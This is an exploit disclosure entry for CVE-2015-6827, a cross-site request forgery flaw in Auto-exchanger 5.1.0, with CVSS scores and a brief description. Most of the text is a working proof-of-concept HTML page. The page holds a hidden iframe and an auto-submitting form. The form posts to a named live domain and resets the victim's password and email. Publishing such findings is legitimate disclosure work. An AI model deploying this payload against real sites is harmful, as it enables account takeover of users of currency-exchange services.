Autoexchanger 5.1.0 Cross Site Request Forgery

2015.09.09

Credit: Aryan Bayaninejad

Risk: Low

Local: No

Remote: Yes

CVE: CVE-2015-6827

CWE: CWE-352

CVSS Base Score: 6.8/10

Impact Subscore: 6.4/10

Exploitability Subscore: 8.6/10

Exploit range: Remote

Attack complexity: Medium

Authentication: No required

Confidentiality impact: Partial

Integrity impact: Partial

Availability impact: Partial

# Exploit Title: [Auto-exchanger version 5.1.0 Xsrf]
# Date: [2015/06/05]
# Exploit Author: [Aryan Bayaninejad]
# Linkedin : [https://www.linkedin.com/profile/view?id=276969082]
# Vendor Homepage: [www.auto-exchanger.com]
# Version: [Version 5.1.0]
# Demo : www.farhadexchange.com
# CVE : [CVE-2015-6827]

------------------------------------
details:
------------------------------------

auto-exchanger version 5.1.0 suffers from an xsrf vulnerability , attacker
is able to abuse of this vulnerability to change password by a hidden
iframe in another page.

-------------------------------------

Exploit:

-------------------------------------
<html>
<body>
<iframe style="display:none" name="xsrf-frame"></iframe>
<form method='POST' action='http://farhadexchange.com/signup.php'
target="xsrf-frame" id="xsrf-form">

<label id="lbl_error" name="lbl_error" class="ErrorMessage"></label>
<INPUT type="hidden" name="suser" value="victim_user">
<input type="hidden" name="section" value="do_update" />
<label type='hidden' id="n_password0"><span>
<input type='hidden' maxlength="20" size="30" name="password0"
id="password0"   value="testpassword123456" >  </label>
<input type="hidden" name="rid" value="" />
<label id="n_password">
<input type="hidden" maxlength="20" size="30" name="password1"
id="password1"   value="testpassword123456"   ></label>
<label id="n_mail">
<INPUT type='hidden' maxLength=60 size=30 name="mail" id="mail"
value="victim_email" type="text">
</label>
<label id="n_country">
<input type='hidden'  name="country" id="country"  style="width:196;"
value="IR">
</label>
<label id="cid">
<input type='hidden' name='cid' value='2'/>
</label>
<label id="n_curreny_account">
<INPUT type='hidden' maxLength=60 size=30 name="curreny_account"
id="curreny_account" value="" ><br>
</label>
</form>
<script>document.getElementById("xsrf-form").submit()</script>
</body>
</html>

See this note in RAW Version

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Autoexchanger 5.1.0 Cross Site Request Forgery

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